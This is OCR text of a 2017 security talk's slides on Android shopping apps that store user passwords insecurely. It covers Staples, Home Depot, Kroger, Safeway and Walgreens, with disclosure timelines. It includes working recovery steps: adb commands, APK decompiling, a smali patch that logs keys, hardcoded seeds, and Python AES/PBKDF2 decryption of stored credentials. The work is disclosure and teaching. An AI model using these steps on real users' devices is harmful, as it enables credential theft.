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Persistent Login

- Users remain logged in even after shutting off
their phone

-How does the app remember who you are?
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User Login

;'# Ai Host iMethod | URL iParams iEdited iSt4
42 https://www.target.com.au POST  /j_spring_security_check Vv U 30|
<«
l!;equestv Response ]
[ Raw | Params L Headers TI—Iex ]

POST request to /j_spring_security_check

Type - Name ' Value

Cookie targetAnonymousToken bdc52e8c-93cf-4a67-a88e-26a8cb570358

Cookie JSESSIONID F16E6F59CC99A518CCDCB0407A3254F7 . APP5P

Cookie ak_bmsc 9211A8BA40AS563E7930DDD77F0D9F19917C532ECFC1FO(
Cookie _vwo_uuid_v2 81E47121A97C335315FFCDA7F9889935|d48693a913e50!
Cookie _ga CA1.3.130687489.1494038344

Cookie _gid GA1.3.1828558961.1494038344

Cookie _gat 1

Cookie _uetsid _uetb49cl1c7d

Cookie akavpau_prodvp_maintenance 1494038645~id=ce66f11eel703b10fbSaa05ebfb236e0
Cookie _gali login

Cookie ak_fg_stale 1

Body j_username testlll1l@aol.com

Body j_password P@sswOrd1l

Body _csrf 398bc476-8d5a-485e-8256-301f38ca8687




Server Response

# Ai Host | Method | URL | Params | Edited | Status Length | MIME type
42 https://www.target.com.au POST /j_spring_security_check W U 302 712
< J

[ Request | Response

Raw | Headers IHex ]

BTTP/1.1 302 Moved Temporarily

Server: nginx

Content-Length: 0

Location: https://www.target.com.au/my-account

Date: Sat, 06 May 2017 02:39:19 GMT

Connection: close

Set-Cookie: JOESSIONIO=FIGEGFSICCIGASLIBCCOCBOAOTAI2S4AY T .APPSP; Pathw/; Gecure; HttpOnly
Cet-Cookie: targetToken=dGVadDEXMTFAYWI s Lt vbToxNDKINIQI0TUSHOAWO IMSOCY4 2 TY RZJhIYTBAE ST ANV skyYIg4Y2YSM=T=; |
GMT; Pathw/; Secure; BttplOnly

Set-Cookie: targetSecureGUID=55b5falellel79%ec974a63L14805651673£98871; Path=/; Secure; HttpOnly
Set-Cookie: targetAnonymousToken=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/

Set-Cookie: akavpau_prodvp maintenance=1494038659~1d=d95b3f5073d81c83bcbb98a8ad73814f; Path=/

Random Number, stored in a cookie

THIS IS THE RIGHT WAY




Staples == BAD
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Tested in Jan 2017

STAPLES

Staples® - Daily Deals &
SES  Sales

B steples, inc.

® Everyone

@0

Downloads 46992 Busmess Similar

[ UNINSTALL

Daily Deals for Online Shopping! Shop
Business, Price Match, Earn Rewards &
Save

X Staples® - Daily Deals & Sales

shopping experience!

Questions or concerns about the Staples app?
Contact us here:

e Everyone

Digital Purchases

Learn More
Version Updated on
54137 Dec 31, 2016
Downloads Offered by
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Developer e-mail
StaplesAndroidFeedback@
gmail.com




Locally Stored Password

<string name="encryptedPassword">
CT9SVzhhRaufBzCvmwENWQ==
</string>

* Right away this shows a problem
 WHY store the password?

Y O O www.androidauthority.com




T C O QO www.androidauthority.com/use-android-keystore-store-passwords-sensitive-information-623779/

ANDROID VLGRS NEWS DEALS APPS & GAMES REVIEWS CELL PHONE PLANS MORE ~

/M TRENDING

How to use the Android Keystore to store
passwords and other sensitive
information

1. Best way: Don't. Use a cookie
2. Use Android KeyChain
3. Encrypt with with a public key
* Private key is kept secret on a server

4. Encrypt with with a private key
* Private key is "hidden" on the phone (under the mat)

5. Store data unencrypted on the phone




Special Password

<string name="encryptedPassword">
5V/uOkjK/Pxnb8yo70dXzuvVf7jplyvz8Z2/
MgqOznV84Chyt51FvI9LDpXXmJq9£fUx
</string>

* gaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalAl’ll
* 32 identical characters at beginning




Decode

p = '5V/uOkjK/Pxnb8yo70dXzuVf7jplyvz82Z2/
MgOznV84Chyt51Fv9LDpXXmJq9fUx'
>>> p.decode("base64"”).encode("hex")
'eS55fee3ad8cafcfc676fcca8ece757cee55fee3ad

Bcafcfc676fcca8ece757ce02872b79945bfd2c3a5
75e626af5£531"

eb55fee3ad8cafcfc676fcca8ece757ce
e55fee3ad8cafcfco676fcca8ece757ce
02872b79945bfd2c3a575e626af5£f531




Read Smali Code

e.smali - /Users/sambowne/Downloads/app.staples-2/smali/app/staples/mobile/cfa/k
P - Q Q i
jve Close Live Find Advanced Find Info
292 . line 1450
293 const-string v3, "username"
294
295 invoke-interface {v2, v3, v@}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/
+ String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
296
297 . line 1451
298 const-string v@, "encryptedPassword"”
299
300 invoke-direct {p@}, Lapp/staples/mobile/cfa/k/e;->gu()Ljava/lang/String;
301
302 move-result-object v3
303
304 invoke-static {v1, v3)}, Lapp/staples/mobile/cfa/k/a;->m(Ljava/lang/String;Ljava/lang/
« String;)Ljava/lang/String;
305
306 move~result-object vl
307
308 invoke-interface {v2, v@, vl1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/
« String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
309
310 . line 1462
31 :goto_0
312 invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->apply()V

(M"Arnctrii~Arf i FhA L ALy




LOoNsStructing the \ey

457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485

.line 505
sget-object v1, Landroid/os/Build;->BRAND:Ljava/lang/String;

invoke-virtual {v@, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

. line 506
sget-object vl, Landroid/os/Build;->DEVICE:Ljava/lang/String;

invoke-virtual {ve, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/\lang/StringBuilder;

. line 507
sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;

invoke-virtual {ve, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

. line 508
sget-object v1, Landroid/os/Build;->SERIAL:Ljava/lang/String;

invoke-virtual {v@, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

. line 509
iget-object v1, p@, Lapp/staples/mobile/cfa/k/e;->Es:Lapp/staples/mobile/cfa/MainActivity;

invoke-virtual {v1}, Lapp/staples/mobile/cfa/MainActivity;->getApplication()Landroid/app/Application;
move-result-object vl

invoke-virtual {v1}, Landroid/app/Application;->getPackageName()Ljava/lang/String;




Final Key

Sams-MBP-3:~ sambowne$ echo -n "3xtraS@ltgenericvbox86pGoogle Galaxy Nexus - 4.3
- API 18 - 720x1280unknownapp.staples” | openssl shal
Tb4cof36e2fbldc@225ecbafd908da@961df34b5

Sams-MBP-3:~ sambowne$ |

™ A (D ape online-damain-tanle com




Encryption
Test

C 0 @ aes.online-domain-tools.com

Inputtype:  Text

Input text: T ——

(plain)

© Plaintext  Hex

Function: - AES

Mode: - ECB (electronic codebook)

Key:

(hex) [ fbac0f36e2fb1dc022
Plaintext © Hex

Encrypted text:

00000000' 13 1f b3 Be b0 88 96 Oc 3f 92 46 74 74 B84 5f 3e

[Download as a binary file] [?7]




Notification

* Notified Jan 2, 2017
« Automated response said it would be fixed
* No response to follow-up email

* April 13 -- Staples became homework

& C (O @& Secure htips://samsclass.info/128/proj/p6xstaples.htm




Proj 6x: Stealing Personal Data from the Staples Android
App (20 pts + 20 pts. extra credit)

Summary

The Staples Android app stores the user’s password with insecure encryption, because it uses a predictable password. It also
uses Electronic Code Book mode, which preserves patterns in the input and is unsuited for protecting private data.

This is the #6 most important security flaw in mobile apps, according to OWASP.

Insecurity of Staples App 2: Insecurity of Staples App 1: ECB
Complete Key Exposure Mode
126 views * 3 months ago 122 views * 3 months ago




Notification

* Fixed by May 9, 2017

Our app is best experienced in non-rooted device. As you are using a
rooted device, we will not keep you logged in for your login security.

OK

A Binni Shah
@binitamshah v




—

We have patched the vulnerability you
reported




Plaintext Password Storage

Plaintext Password Storage
Ace Hardware Notified 5-16-17; no reply; still vulnerable as of 7-28-17
McDonald's Notified 5-13-17; no reply; still vulnerable as of 7-28-17
Menards Notified 5-20-17; no reply, still vulnerable as of 7-28-17

Here's the password stored in plaintext on the phone:

vbox86p: /data/data/com.acehardware #

at ./shared_prefs/com.bb. framework.PREF_SESSION_MANAGER.xml <

<?xml version='1.0' encoding='utf-8' standalone='yes' 7>

<map>
<string name="com.bb. framework.DATA_LOGIN">testllll@mallinator.com</string>
<string name="com.bb. framework.DATA_PASSWORD">P@sswlrd</string>

</map>

vbox86p: /data/data/com.acehardware # J

Y P R R [




Flaintext Login




[ T et oA it Dttt - AP ol !

Target Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Co

Intercept WebSockets history | Options

Filter. Hiding CSS, image and general binary content
Japi/ register

1391  hup //app.7 -eleven commx [backend/api/appusers/login
1392 hup//app.7-eleven.commx IOST /backend/api/appusers/ping
1393  hup //app.7 ~eleven commx GET /backend/api/promotions /load?a
1394  hup//app.7 -eleven commx GET lbaclund/apl/promonom/loadn:q
1395  hup//app.7-eleven.commx GETY /backend/api/get/promo?_versiond

POST request to /backend/api/appusers /register
Type Name | Value
Body email testll11@mailinator.com
' Body name test test
Body phone 4155551213
' Body device_type android
e .
' Body password P@sswOrd
Body _date 1
' Body gender femenino
Body key x7QfN7yIOUPIFIdyRrN

DAl AR Q|




DIOKEIN ooL

Gemymotion 1or personad use - Googe Nexus 9 - 7.00 - AP 24 - 15306x2048 (153022048, 320

Price Tracker for Amazon
& Save money. Be happy.

Price Tracker for Amazon

©® Every

=900

WHAT'S NEW

¢ Fieed Dug Causing Certan ysers with clder version of Cheormium Wevaew 30 Only see blank
screen in ntegrated browsers
+ Imtegrated inapp FAQS and support cha

¢ Dpamized fem ',:-.v‘r*.'.; for slower connech

Aantiira Nt A R
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WHAT'S NEW

+ Fixed bug causing certain users with older version of Chromium Webview to only see blank
screen in integrated browsers.

+ Integrated in-app FAQs and support chat.

+ Optimized item searching for slower connections.

+ Fixed previous price display glitch.

+ Cleaned/Optimized menu and preferences screens.

Password Stored with




Reversible Encryption

Password Stored with Reversible Encryption

Home Depot Notified 4-19-17; automated reply, no fix as of 7-28-17

Kroger Notified 4-24-17; no reply; still vulnerable as of 7-28-17

Safeway Notified 4-21-17; no reply; changed but probably still vulnerable as of 7-28-17
Walgreens Notified 5-3-17; no reply; still vulnerable as of 7-28-17

Home Nanot
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Locally stored password is encrypted

Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb shell

vbox86p:/ # cd /data/data/com.thehomedepot

vbox86p: /data/data/com.thehomedepot # grep -r encrypted_password .
./shared_prefs/com.thehomedepot.consumerapp.preferences.xml: <string name="encrypted
_password">Fja+tKHAWBO=] i/t6KDntufWWRD+YKWB]Sw==] sKiazYHcVV@56eNANFtoCA==</string>
vbox86p: /data/data/com. thehomedepot # |

| InDack APK




\ ||uaur\ /\1 1\

Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb shell pm list packages | grep depo
package: com, thehomedepot

package: com, thehomedepot . coloryourworld

Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb shell pm path com.thehomedepot
package:/data/app/com. thehomedepot-1/base. apk

Sams-MacBook-Pro-3:platform-tools sambownes$ ./adb pull /data/app/com.thehomedepot-1/base.apk
10027 KB/s (24375477 bytes in 2.373s)

Sans-ﬁacBook-Pro—3 repeat sambowne$ java -jar ../../apktool_2.2.2.jar d base.apk
: Using Apktool 2.2.2 on base.apk

Loading resource table...

Decoding AndroidManifest.xml with resources...

Loading resource table from file: /Users/sambowne/Library/apktool/framework/1.apk
Regular manifest package...

Decoding file-resources...

Decoding values %/ )XMLs...

Baksmaling classes.dex...

Baksmaling classes2.dex...

Copying assets and libs...

Copying unknown files...

I: Copying original files...

Sams-MacBook-Pro-3: repeat sambownes$ J

HHHHHHHHHH

Sams-MacBook-Pro-3:base sambowne$ grep -r encrypted_password .
./smali_classes2/com/thehomedepot/constants/SharedPrefConstants.smali:.field public static final USER_LOGIN_PASSW
ORD:Ljava/lang/String; = "encrypted_password"

./smali_classes2/com/thehomedepot/core/utils/EncryptionUtil.smali: const-string v@, “encrypted_password™
./smali_classes2/com/thehomedepot/core/utils/EncryptionUtil.smali: const-string v2, “encrypted_password"
/smali_classes2/com/thehomedepot/core/utils/EncryptionUtil.smali: const-string v2, “encrypted_password"
./smali_classes2/com/thehomedepot/core/utils/EncryptionUtil.smali: const-string vl, “encrypted_password"
./snali_classesZ/con/thehonedepot/sore/ut1ls/EncryptlonUtn.smali: const-string vl, “encrypted_password"

EncryptionUtil.smali - /JUsers/sambowne/Documents/Android/homedepot/repeat/base/smali_classes2/com/thehomedepot/core/utils
Q

Live Find Advanced Find

= - a @ = p— vy | & a - - a = 6 G prp— = B ama O @G




uve rinc ACvancec rinc

1 .class public Lcom/thehomedepot/core/utils/EncryptionUtil;
2 .super Ljava/lang/Object;
3 .source "EncryptionUtil.java"

4
5

6 # static fields

7 .field
8
9 .field
10
11 .field
12
13 .field
14
15 .field
16
17 .field
18
19 .field
20
21 .field
22
23 .field
24
25 .field
26
27 .field
28
29

private
private
private
private
private

private

static
static
static
static
static

static

final CIPHER_ALGORITHM:Ljava/lang/String; = "AES/CBC/PKCS5Padding”
DELIMITER:Ljava/lang/String; = null
final HEX:Ljava/lang/String; = "0123456789ABCDEF"

INSECURE_SEED:Ljava/lang/String; = null
ITERATION_COUNT:I = 0x0
KEY_LENGTH:I = 0x@

public static final PBKDF2_DERIVATION_ALGORITHM:Ljava/lang/String; = "PBKDF2WithHmacSHA1"

private static final PKCSS5_SALT_LENGTH:I = 0x8

private static PUBLIC_PASSWORD_PBKDF2:Ljava/lang/String;

private static TAG:Ljava/lang/String;

private static random:Ljava/security/SecureRandom;

Saved: April 19, 2017 at 1:06 PM - Length: 50,125 - Encoding: Unicode (UTF-8)

EncryptionUtil.smali - /Users/sambowne/Documents/Android/homedepot/repeat/base/smali_classes2/com/thehomedepot/core/utils

30 # direct methods

Q

Live Find Advanced Find




30 # direct methods
31 .method static constructor <clinit>()V

32

.locals 1

.prologue

.line 48

const-string v@, “EncryptionUtil”

sput-object v@, Lcom/thehomedepot/core/utils/EncryptionUtil;->TAG:Ljava/lang/String;

.line 51
const-string v@, "ThisIsAVerylnsecureKey"

sput-object v@, Lcom/thehomedepot/core/utils/EncryptionUtil;->INSECURE_SEED:Ljava/lang/String;

.line 52
const-string v@, "PUBLIC_PASSWORD_PBKDF2"

sput-object v@, Lcom/thehomedepot/core/utils/EncryptionUtil;->PUBLIC_PASSWORD_PBKDF2:Ljava/lang/String;

.line 54
const/16 v@, ©x100

sput v@, Lcom/thehomedepot/core/utils/EncryptionUtil;->KEY_LENGTH:I

.line 56
const/16 v@, 0x3e8

sput v@, Lcom/thehomedepot/core/utils/EncryptionUtil;->ITERATION_COUNT:I

. line 59
const-string v@, “|"

sput-object v@, Lcom/thehomedepot/core/utils/EncryptionUtil;->DELIMITER:Ljava/lang/String;

Crrnruntinnt 18 cmmall - B lcare loamibhossma T ot e 1 A ndrnid Ihamardanat ranaat hacalemall ~laceae™ lornem thahamaranat lrnral itile I




EncryptionUtil.smali - /Users/sambowne/Documents/Android/homedepot/repeat/base/smali_classes2/com/thehomedepot/core/utils

Q Q
Live Find Advanced Find

738 .method public static encrypt(Ljava/lang/String;Ljavax/crypto/SecretKey; [B)Ljava/lang/String;
739 .locals 12

740 .param p@, “plaintext” # Ljava/lang/String;

741 .param pl, “"key" # Ljavax/crypto/SecretKey;

742 .param p2, “salt" (8

744 # TROJAN CODE
745 const-string vl, “TROJAN EncryptionUtil 745: p@ plaintext: *
746 invoke-static {v1, p@}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

748 invoke-interface {pl}, Ljavax/crypto/SecretKey;->getEncoded()[B

749 move-result-object v@

750 invoke-static {v@}, Lcom/thehomedepot/core/utils/EncryptionUtil;->toHex([B)Ljava/lang/String;
751 move-result-object v@

752 const-string vl, “TROJAN EncryptionUtil 752: pl SECRET KEY: "

753 invoke-static {vl1, v@}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

755 invoke-static {p2}, Lcom/thehomedepot/core/utils/EncryptionUtil;->toHex([B)Ljava/lang/String;
756 move-result-object v@

757 const-string vl, "TROJAN EncryptionUtil 889 p2 salt: *

758 invoke-static {vl1, v@}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

759 # END OF EVIL TROJAN CODE

761 .prologue
762 const/4 v5, 0x@

Salt -> Key
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Sams-MacBook-Pro-3:platform-tools sambownes$ ./addb logcat | grep TROJAN

04-19 16:30:38.526 3772 3941 E TROJAN EncryptionUtil 745: p@ plaintext: :
04-19 16:30:30.526 3772 3941 E TROJAN EncryptionUtil 752: pl SECRET KEY: : :
04-19 16:30:30.526 3772 3941 E TROJAN EncryptionUtil 889 p2 salt: : OF6BD1182F99

Sams-MacBook-Pro-3:platform-tools sambowne$ ./adb shell

vbox86p:/ # cd data/data/com.the

com. thehomedepot.coloryourworld/ com. thehomedepot/

vbox86p:/ # cd data/data/com.thehomedepot

vbox86p: /data/data/com. thehomedepot # grep -r encrypted_password .

./shared_prefs/com. thehomedepot.consumerapp.preferences.xml: <string name="encrypted_
password'>D2vRGC+Z2gA=] ) 19paoNYXINIM1h1B0230Q==] dLdrU8be6D3 fQeh20UWSdQ==</st r ing>
vbox86p: /data/data/com. thehomedepot #

130 | vbox86p: /data/data/com. thehomedepot # §

>>> blobl = "D2vRGC+Z2gA="

>>> blob2 = "Ji9paoNYXINIM1h1B0o230Q=="

>>> blob3 = "dLdrU@be6D3fQeh20UW5dQ=="

>>>

>>> print blobl.decode("base64").encode("hex")
0f6bd1182199dak0

>>> print blob2.decode("base64").encode("hex")
2621696a83585e5348325865068db7d1
>>> print blob3.decode("base64").encode("hex")
74b76b5346dee83ddf41e8763945b975

>>> salt = “D2vRGC+Z2gA=".decode("base64")
>>> from pbkdf2 import PBKDF2
>>> PBKDF2( " C_PASSWORD PBKDF2', salt).read(32).encode("hex")

4ba3 33T 3D >4a4bed

Complete Decryption




>>>
>>>
>>>
>>>
>>>

from Crypto.Cipher import AES

secret_key = '372ed6a3e7dedd9b8d7daaf3b85b595954a4bed2eBef5827e2a9f9%e7ecab5eb3 ' .decode( " hex")
iv = 'Ji9paoNYXINIMlh1B0o230Q==".decode("base64")

cipher = AES.new(secret_key, AES.MODE_CBC, iv)
cipher.decrypt('dLdrUdbe6D3fQeh20UWSdQ==".decode("base64"))

‘P@sswird \x08\x08\x08\x08\x08\x08\x08\x08"

Python Script to Decrypt encrypted_password
Putting it all together, this script does the complete reversal, using only the locally stored data.

from Crypto.Cipher import AES
from pbkdf2 import PBKDF2
import os

denmmned: haaakd




'Sams-MacBook-Pro-3:python
Enter encrypted_password:

BLOB1 (salt): D2vRGC+Z2gA=
BLOB2 (iv): Ji9paoNYXINIM1h1Bo230Q=
| BLOB3 (ciphertext): dLdrU@be6D3fQeh20UWSdQ==




[ BLOB3 (ciphertext): dLdrUdbebD3fQeh20UWSdQ==
SECRET KEY (from salt): 372ed6a3e7dedd9b8d7daaf3b85b595954a4bed2e8ef5827e2a9f%e7ecabsSeb3

Stored password: P@sswlrd

Sams-MacBook-Pro—-3:pytnon Sambowne$

Sams-MacBook-Pro-3:python sambowne$

Sams-MacBook-Pro-3:python sambowne$ python homedepot

Enter encrypted_password: I0V7XQZJOoc=)]JaN6pzY+xySWjWw3I3oPLiw==]nylkAVgV2Q+q9qjFOMTFXw==

BLOB1 (salt): I0V7XQZJ00c=
BLOB2 (iv): JaNBpzY+xySWjW3I30oPLiw==
BLOB3 (ciphertext): nylkAVgV2Q+g9qjFoMTFXw==

SECRET KEY (from salt): e911420a288c2854eb827011919783b1620b75e563f58f0eff8681995de1032e

Stored password: P@sswolrd

Sams-MacBook-Pro-3:python sambowne$

Sams-MacBook-Pro-3:python sambowne$

Sams-MacBook-Pro-3:python sambowne$ python homedepot

Enter encrypted_password: Fja+tKHAWB@=]i/t6KDntufWWRD+YKWB)Sw==]sKiazYHcVVO56eNANFtoCA==

BLOB1 (salt): Fja+tKHAWBO=

BLOB2 (iv): 1/t6KDNtufWWRD+YKWB) Sw==

BLOB3 (ciphertext): sKiazYHcVVOS56eNANFtoCA==

SECRET KEY (from salt): 98dac24e739c208c8cb5235b749353f6e3829f17ed4afdb9e5a8a1938bdb785¢cc

Stored password: P@ssword
Sams-MacBook-Pro-3:python sambowne$ 1

Kroger




Sams-MacBook-Pro-3:python sambowne$ python kroger
Input file (from shared_prefs/com.kroger.mobile.xml): [com.kroger.mobile.xml] kr
ogerapp.xml

Here's the data the app stores on your phone:

CREDENTIALS_STORE_BASIC_AUTH_TYPE: GQkP13VFwOKKISS5PMiTah5gqSAU7QSP6R47XR/sYbnc=
&#10; ] KEqQt55A3xjSpflpnL2p31iQ==56#10; ]WXujnFbQHKm2aVc lQWrFUVtkdQnré6XfMUjwZobMUohal
mdrLbiSyPKsmlztS1iis&#10;

Decrypting it yields:

Username: testsam@mailinator.com
Password: P@sswlrdl

Kroger




salt = blobl.decode("base64")
iv = blob2.decode("base64")
ciphertext = blob3.decode("base64")

pw = '64BCE401-8A76-4B07-BB03-F64A1F36F3D8'
secret key = pbkdf2.PBKDF2(pw, salt, 2500).read(32)

n = len(iv)
iv = iv[n-16:n]

cipher = AES.new(secret_key, AES.MODE CBC, iv)
basic = cipher.decrypt(ciphertext)

Safeway




Sams-MacBook-Pro-3:platform-tools sambowne$ cat accountpref.xml
<?7xml version='1.0' encoding='utf-8' standalone='yes' 7>
<map>
<string name="user password">@C6682215FC5F5A6017D95ECDD4AE784</string>
<string name="private_userseed">user_login378710819</string>
<string name="private_passwordseed">user_password2058718939</string>
<string name="private_salt">6FYi1/LtOpWN3Z/NulLU+Pg==</string>
<DOO Léan nameé="1S_L10ggea_1in" value="true" />
<string name="user_login">7E48(64C2D84BDDB31B70585A902AEA17CF89D49CODOOB6BFABDC92583217A0A</string>
</map>

>>> import pbkdfz

>>> seed = 'user_login378710819'

>>> salt = '6FY11/LtOpVN3Z/NuLU+Pg=='.decode("base64")
>>> pbkdf2.PBKDF2 alt).read(16).encode("hex")

>>> import pbkdfz
>>> seed = 'user_password2058718939'
>>> salt = '6FYil/Lt@pVN3Z/NuLU+Pg=="'.decode("base64")

>>> pbkdf2.PBKDF2(seed, saltz.readilﬁ) .encode("hex")
'245b01831db4ed2d90f98acdf6d85244"

Safeway




Sams-MacBook-Pro-3:python sambowne$ python safeway
Input file (from shared_prefs/accountpref.xml): [safeway.xml] safeway2.xml

Here's the data the Safeway app stores on your phone:

user_password: 0C66B2215FC5F5A6017D95ECDD4AE784

private_userseed: wuser_login378710819

private_passwordseed: user_password2058718939

private_salt: 6FYil/Lt@pVN3Z/NulLU+Pg==

user_login: 7E48(C64C2D84BDDB31B70585A%02AEA17CF89D49C0D0OB68BFABDC92583217A0A

Decrypting it yields:

Username: testllll@aol.com
Password: P@ssword

Walgreens




Sams-MBP-3:platform-tools sambowne$ ./adb pull /data/data/com.usablenet.mobile.walgreen/shared_prefs/Wa
lgreenPrefs.xml
3265 KB/s (4441 bytes in 0.001s)
Sams-MBP-3:platform-tools sambowne$ grep walgreenuser WalgreenPrefs.xml

<string name="walgreenuser">6F7460E44C59FO6AFB6EIDEIBAFIII9ECCISCFBFIDSF6357CI9DRE625CBBEDDAICORIRE
A990366F58461F3FCS593701EE695A09A784989EBD5A555297619FFABF2BF4DA45B8512ACEFCFOL1CFO59BF3118AFBBOB6C1ER3CY
7D078BDC43649970610A3ES5414691FA3CDBOFB3FD18530328E437F38F3E06A82CEC66E2CDBE92CA345FAES12E3C36E3B43AF86516
223BF04048381938AC64A7CADED7CDE4B207E1SCA22E9A3BEL17D2594F2BD71F66469E03B4C32D6B4C243FE4FO7AS3EBBE303AD4
623B</string>

The Walgreens Encryption Key

The Walgreens userdata encryption key is always the same, It is calculated from a seed, which is hard-coded in the app in three places:
«/res/values/strings.xml: phWS854acbe576=
./res/values/strings.xml: phwS854acbe576=
./smali_classes5/com/walgreens/quickprint/sdk/htmlS/c.smali: const-string/jumbo v0, “phW5854acbc576="

The actual encryption key is calculated from that seed using PBKDF2, as shown below.

>>> import pbkdf2

>>> seed = 'phWS854acbc576="

>>> pbkdf2.PBKDF2(seed, seed, 128).read(32).encode("hex")
*181cbb251540%9abBb7057e3b9329¢355e6d3aedalb73a7¢c38144a%a1067cfabl’

Walgreens




Sams-MacBook-Pro-3:~ sambowne$ python

Python 2.7.11 (default, Dec 5 2015, 14:44:53)

[GCC 4.2.1 Compatible Apple LLWM 7.0.0 (clang-700.1.76)] on darwin

Type "help", "copyright", "credits" or "license" for more information.

>>> from Crypto.Cipher import AES

>>> key = '181cbb25f54b9ab@b7057e3b9329¢355e6d3aedalb73a7¢c38144a%9af067cfabf ' .decode("hex")

>>> cipher = AES.new(key)

>>> ct = '6F7460E44C59FO6AFS86E9DEOBAFI339ECC35CFBFID5F6357C99DRE625CBBEDD49CRO9OEAS90366F58461F3F(C5937
@1EE695A09A784989E8D5A555297619FFABF2BF4DA45B8512ACEFCFO1CFO59BF3118AFBBOB6C1ER3C97D7BDC43649970610A3E
5414691FA3CDBOF83FD18530328E437F38F3E06A82CEC66E2CDBE92CA345FAES12E3C36E3B43AF865162238F04048381938AC6
4A7C4ADED7CDE48207E15CA22E9A3BE17D2594F2BD71F66469E03B4C32D6B4C243FE4AFO7AS3ESBBE303AD4623B ' . decode ("hex"
)

>>> cipher.decrypt(ct)
‘{"dob":"","email":"test1111@aol.com"," firstName":"TestF"," lastName" :"TEstL", " password":"Pesswlrd123",
“phone":"","username":"test1111@aol.com"," remberUsername": true, " remberPassword" : true}\x06\x06\x06\x06\
x06\x06"

>>>

Multiple Vulnerabilities




Fixed




Fixed

Broken SSL, and insecure added encryption

Golf Galaxy Notified 5-21-17 -- FIXED
Password Exposed in Log

JP Morgan Chase Notified 5-10-17; no reply, but fixed as of 7-28-17
Broken SSL

OptionsHouse by ETrade Fixed more than two years after notification
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